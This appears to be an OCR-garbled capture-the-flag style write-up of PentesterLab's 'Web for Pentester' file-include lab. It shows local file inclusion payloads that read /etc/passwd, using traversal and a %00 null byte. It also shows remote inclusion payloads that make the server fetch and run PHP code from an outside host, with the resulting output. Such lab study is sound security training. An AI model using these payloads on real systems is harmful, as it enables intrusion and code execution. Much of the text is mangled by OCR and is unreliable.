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Web for pentester_writeupZ File Includefs
File Include (SZ#F&i&)

Example 1

http://192.168.219.136/fileincl/examplel.php?page=intra.php

[[] Post data [] Referrer ™€ OxHEX ™ % %URL ¥ & BASEGd B Insert string to replace

Services® | [No information available]

PentesterLab.com Home

Hello hacker
© PentesterLab 2013

m—A 855

http://192.168.219.136/fileincl/examplel.php?page=intro.php’

[C] Post data  [[] Referrer @ OxHEX ™ @ %URL ¥» @ BASE6d ™ Insert string to replace| | Insert replacing string Replace All 3 E!

Servicesw | [No information available]

PentesterLab.com Home

Warning: include(intro.php'): failed to open stream: Mo such file or directory in fvariwww/fileincl/examplet.php on line 7 Warning: include(): Failed opening 'intro.php" for inclusion
(include_path="_/usr/share/php:/usrishare/pear') in ivariwww/fileincl/example1.php on line 7
© PentesterLab 2013

IR EE HIRATAT UREUIN 5 B

HE SO HAT AR R 1R /var /www/fileincl/examplel.php

XA EREGI HEH include ()

ARBG 5] F B SO B A2 include path= /usr/share/php:/usr/share/pear


https://blog.csdn.net/ditanji3425
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/liliyuanshangcao/p/11319905.html

Payload 1 (AHZHEELFD

http://192.168.219.136/fileincl/examplel.php?page=../../../..

S/ /.. /etc/passwd

Post data Referrer ™ OxHEX ™ 4% %URL ™ & BASEGS P

services | [Mo information available]

PentesterLab.com

Home

rootx 0-0-root-/root /bin/bash daemon x 1:1-daemon-/usr/sbin-/bin/sh binx2:2-bin-/bin-/bin/sh sysx3:3:sys /dev /bin/sh s
{games:/bin/sh manx6-12:-man-varicache/man-/bin/sh Ipx 7 7-Ip-fvar/spool/ipd-/bin/sh mail-x 8:8:mail-fvar/mail /bin/sh ney
spoolfuucp/bin/sh proxyx:13:13:proxy/bin-/bin/sh waww-datax-33:33 www-datafvarwww /bin/sh backupx34-34:-backup:/
fbinfsh ircx:39-39-ired-varfrun/ircd-/bin/sh gnatsx 41-41:Gnats Bug-Reporting System (admin)-/var/lib/gnats /bin/sh nobo
libuuid:x:100:101:ivar/lib/libuuid:/bin/sh mysglx:101:103:MySQL Server,,./var/lib/mysql:/binffalse sshd:x:102:65534:/var/
Server Account,,,fvar/lib/idap:/bin/false userx:1000:1000:Debian Live user,,.-/nomefuser-/bin/bash
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Payload 2 GZEFEXHEERFD

http://192.168.219.136/fileincl/examplel.php?

page=https://assets.pentesterlab.com/test include.txt

http://192.168.219.136/fileincl/examplel.php?page=httpsif/assets. pentesterlab.com/test_include.txt

Post data [ Referrer 4 OxHEX ¥» &% %URL ¥ = BASEc4 ™ ‘;’.--..C.—'-': string to replace

servicest | [Mo information available]

HHhttps://assets.pentesterlab. com/test include. txtBEH

g, fFEtxth BNEIAT IR

J| Replace All 3

‘ fnsert replacing strng

Home

PHP Version 5.3.3-7+squeeze15 php
System Linux debian 2.6.32-5-amdg4 #1 SMP Fri May 10 08:43.19 UTC 2013 x26_ 64

Build Date Mar 4 2013 12:56:56

Server APl Apache 2.0 Handler

Virtual Directory Support

dizabled

Configuration File
(php.ini) Path

letc/phpSiapache2

Loaded Configuration
File

letc/phpSiapache2/php.ini

Scan this dir for
additional .ini files

letc/phpSiapache2/confd

Additional .ini files

letc/phpSiapache2/conf.diidap.ini, fetc/phpS/apache2iconf.dimysqlini, /etc/phpSiapache2
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@l Load URL [ https://fassets.pentesterlab.com/ftest include.txt
B split URL

] Execute

[] Post data [| Referrer 4™ OxHEX ™» 4 %URL ™ % BASE6d I

AMETCREFT - Services: | mammais Since: October 2016 Rank: 76011 PES:  Site Report ™ [US] Ama
<Iphp
phpinfo();

T

Example 2

http:/192,168.219.136/fileincl/fexample2. php?page=intro

[] Post data [| Referrer 4 OxHEX ™» 4 %URL ™ 4% BASE6d

Services® | [Mo information available]

PentesterLab.com Home

Hello hacker
© PentesterLab 2013

BHERA T, AGM—NE5SEFERERER

http:/f192.168.219.136/fileinclfexample2.php?page=intra’

[[] Post data  [| Referrer <M OxHEX 3B & %URL X @ BASE6d I Insert string to replace| | Inse

citg SHng Replace All 3 -

servicest | [No information available]

PentesterLab.com Home

Warning: include(intro’ php): failed to open stream: Mo such file or directory in /variwww/fileincl/example2 php on line 8 Waming: include(): Failed opening 'intro’ php' for inclusion
(include_path="_/usr/share/php:/usrishare/pear’) in fvarvww/fileincliexample2 php on line 8
© PentesterLab 2013

RO R B php X2 R T include (intro' .php)» FATET LAME F %0072 W7 >R SE Bl 4 #h SO, &



Payload 1 (AR#ZHEELFD
http://192.168.219.136/fileincl/example2.php?
page=../../../../../../../../etc/passwd%00

Post data Referrer @ OxHEX X &= %URL 3 % BASEGd I | [nsert string fo replace

Services™ | [No information available]

PentesterLab.com Home

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh binx:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev./bin/sh sync:
/games:/bin/sh manx:6:12:man:/var/cache/man:/bin/sh 1p:x:7:7-Ip/var/spool/ipd-/bin/sh mailx8:8:mail-fvar/mail-/bin/sh news:x
fspoolfuucp/bin/sh proxyx:13:13 proxy-/bin-/bin/sh www-datax 3333 waw-data-fvariwww /bin/sh backup:x 34-:34-backup-/fvan
fbinfsh ircx:39-39-ircd-varfrun/ircd-/bin/sh gnatsx 41:41-:Gnats Bug-Reporting System (admin)-fvarlib/gnats:/bin/sh nobody
libuuid-x100-101--Avar/lib/libuuid-/bin/sh mysglx101:103:MySQL Server, -fvarlib/mysql-/binffalse sshdx102:65534 /var/run.
Server Account,,var/lib/idap:/bin/false userx 10001000 Debian Live user,, fhomefuser/bin/bash

© PentesterLab 2013

Payload 2 GzfEXHEERFD
http://192.168.219.136/fileincl/example2.php?
page=https://assets.pentesterlab.com/test include.txt?blah=

HE M sblah=4 X HBEESF S TR

http:/192.168.219.136/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.td?blah=

Post data Referrer % OxHEX ™ &% %URL ™ & BASEG4 |— 7| Replace Al

Services | [Mo information available]

I
PHP Version 5.3.3-T+squeeze15 php

System Linux debian 2.6.32-5-amd84 #1 SMP Fri May 10 08:43:19 UTC 2013 x35_564
Build Date Mar 4 2013 12:56:56
Server APl Apache 2.0 Handler

Virtual Directory Support | disabled

Configuration File letciphpS/apache2
{php.ini) Path

Loaded Configuration letciphpS/apache2/php.ini
File

T T VI B SRS S, A

Payload 3 GZEXHEERFI, WA LAZEEHL10.8.0.61H S — phpinfo.phpHI e, SR



http://192.168.219.136/fileincl/example2.php?page=http://10.8.0.61/phpinfo

http://10.8.0.61/phpinfo.php

Post data Referrer 4™ OxHEX ™ 4% SGURL ™ 4 BASEGd

‘ V| Replace All

Servicesw | [Mo information available]

PHP Version 5.4.45 php

System Windows NT WRILAB_CS 6.2 build 9200 (Windows 8 Business Edition] i586

Build Date Sep 2 2015 23:45:53

Compiler MSVCA (Visual C++ 2008)

Architecture xB6

Configure cscript /nologe configure.js "--enable-snapshot-build" "--disable-isapi” "--enable-
Command debug-pack” "--without-mssgl" "--without-pdo-mssgl" "--without-pi3web" "--with-

pdo-oci=C:\php-sdk\oracle\instantclientlM\sdk, shared” "--with-ociB=Cphp-
sdlk\oracle\instantclient10\sdk, shared" "--with-oci8-11g=C\php-sdk\oracle
\instantclient11\sdk shared" "--enable-object-out-dir=..fobj/" "--enable-

com-dotnet=shared" "--with-mcrypt=static” "--disable-static-analyze" "--with-pgo”
Server AP1 Apache 2.0 Handler
Virtual Directory|enabled
Support

Configuration C:\Windows
File (php.ini)
Path

Loaded C:\phpStudy\PHPTutorial\php\php-5.4.45\php.ini

http://192.168.219.136/fleincl/example2.php?page=http://10.8.0.61/phpinfo

Postdata [ Referrer @ OxHEX 3B &% %URL 3 &% BASEG 3B ‘

‘ | Replace ¢

Servicess | [No information available]

I Home

PHP Logo
PHP Version 5.4.45
System Windows NT WRILAB_CS 8.2 build 5200 (Windows & Business Edition) i588
Build Date Sep 2 2015 23:45:53
Compiler MSWCS (Wisual C++ 2008)
Architecture x25
Configure cecript /nologo configure js "—enable-snapshot-build™ "—disable-isapi™ "—enable-debug-pack™
Command "—without-mssgl" "—without-pdo-mssgl” "—without-pidweb” "—with-pdo-oci=C:\php-sdkl\oracle

\instantclient10sdk shared™ "—with-ocig=C.\php-sdk\oraclelinstantclient1Msdk shared™ "—with-
ocid-11g=C:\php-zdkioraclelinstantclient11\sdk shared” "—enable-object-out-dir=_./obj™ "—enable-

com-dotnet=shared” "—with-mcrypt=static™ "—disable-static-analyze™ "—with-pgo™

Server API Apache 2.0 Handler

Virtual Directory | enabled
Support

Configuration File | C:\Windows

(php.ini) Path

Loaded C:AphpStudy\PHPTuteriahphpiphp-5.4.45\php.ini

Configuration File

Scan this dir for | (none)
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